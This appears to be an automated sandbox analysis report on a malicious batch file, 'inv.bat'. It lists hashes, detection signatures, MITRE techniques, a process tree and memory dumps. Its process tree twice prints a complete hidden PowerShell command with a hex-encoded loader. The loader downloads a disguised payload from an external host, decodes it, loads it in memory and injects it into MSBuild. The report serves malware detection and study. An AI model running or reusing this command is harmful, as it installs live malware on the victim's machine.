7a2cb732e58e653ebc09553930861bc08d76875cb8d2d1b0c87565282e74eaa5

Analysis

max time kernel
300s
max time network
305s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/03/2026, 13:02

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General

Target
inv.bat
Size 554KB
Sample260331-p94eqsdx4y
SHA256 7a2cb732e58e653ebc09553930861bc08d76875cb8d2d1b0c87565282e74eaa5
MD5 bbcb23acb89e803dd2146e94194ac8db
SHA1 d5855f80a202b82e6374a372f30a152b46227909
SHA512 e1106541c3958291bd9f926e74b04bcc4c84735b66ae40dd1a6c890b0617a4e4790c1ebb7382e844cf0b6b232be91048fe76cc3d2345354da72fe40afe21a681
SSDEEP 12288:HUUUULUUUUoUUUUoUUUUoUUUU+UUUUlUUUU7UUUUyUUUULUUUUoUUUUfUUUUoUUR:HUUUULUUUUoUUUUoUUUUoUUUU+UUUUlY
TLSH
T196C45C3195FB412238D6287E19CF9533B56AFB580E676B70B40115EF079EB063DE6B20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3412	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3412 set thread context of 4172	3412	powershell.exe	88

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	4172	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 4912	1140	cmd.exe	80
PID 1140 wrote to memory of 3012	1140	cmd.exe	81
PID 3012 wrote to memory of 3412	3012	conhost.exe	82
PID 3412 wrote to memory of 4548	3412	powershell.exe	83
PID 3412 wrote to memory of 2552	3412	powershell.exe	87
PID 3412 wrote to memory of 4172	3412	powershell.exe	88
PID 3412 wrote to memory of 4172	3412	powershell.exe	88
PID 3412 wrote to memory of 4172	3412	powershell.exe	88
PID 3412 wrote to memory of 4172	3412	powershell.exe	88
PID 3412 wrote to memory of 4172	3412	powershell.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\inv.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:4912
- C:\Windows\system32\conhost.exe
  conhost.exe --headless "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.bat "C:\Users\Public\EKMYAKrCRJ.bat"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4548
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2552
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4172

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_skvhmm31.od3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skvhmm31.od3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3412-17-0x00000000064A0000-0x00000000064BA000-memory.dmp

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memory/3412-14-0x0000000005F40000-0x0000000005F5E000-memory.dmp

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memory/3412-3-0x0000000005290000-0x00000000058BA000-memory.dmp

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memory/3412-4-0x0000000005180000-0x00000000051A2000-memory.dmp

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memory/3412-5-0x0000000005220000-0x0000000005286000-memory.dmp

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memory/3412-6-0x0000000005930000-0x0000000005996000-memory.dmp

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memory/3412-1-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

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memory/3412-18-0x0000000007510000-0x0000000007632000-memory.dmp

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memory/3412-0-0x0000000002620000-0x0000000002630000-memory.dmp

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memory/3412-15-0x0000000005F90000-0x0000000005FDC000-memory.dmp

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memory/3412-2-0x0000000002620000-0x0000000002630000-memory.dmp

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memory/3412-16-0x00000000078C0000-0x0000000007F3A000-memory.dmp

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memory/3412-13-0x0000000005A20000-0x0000000005D77000-memory.dmp

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memory/3412-19-0x0000000004F20000-0x0000000004F2A000-memory.dmp

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memory/3412-21-0x0000000002620000-0x0000000002630000-memory.dmp

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memory/3412-22-0x0000000002620000-0x0000000002630000-memory.dmp

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memory/3412-23-0x00000000081F0000-0x000000000828C000-memory.dmp

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memory/4172-24-0x0000000000400000-0x00000000004B2000-memory.dmp

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memory/4172-27-0x00000000055D0000-0x00000000056BA000-memory.dmp

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memory/4172-30-0x00000000065B0000-0x0000000006642000-memory.dmp

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memory/4172-31-0x0000000006C00000-0x00000000071A6000-memory.dmp

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memory/4172-32-0x00000000054B0000-0x00000000054C8000-memory.dmp

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memory/4172-33-0x00000000067F0000-0x00000000068CA000-memory.dmp

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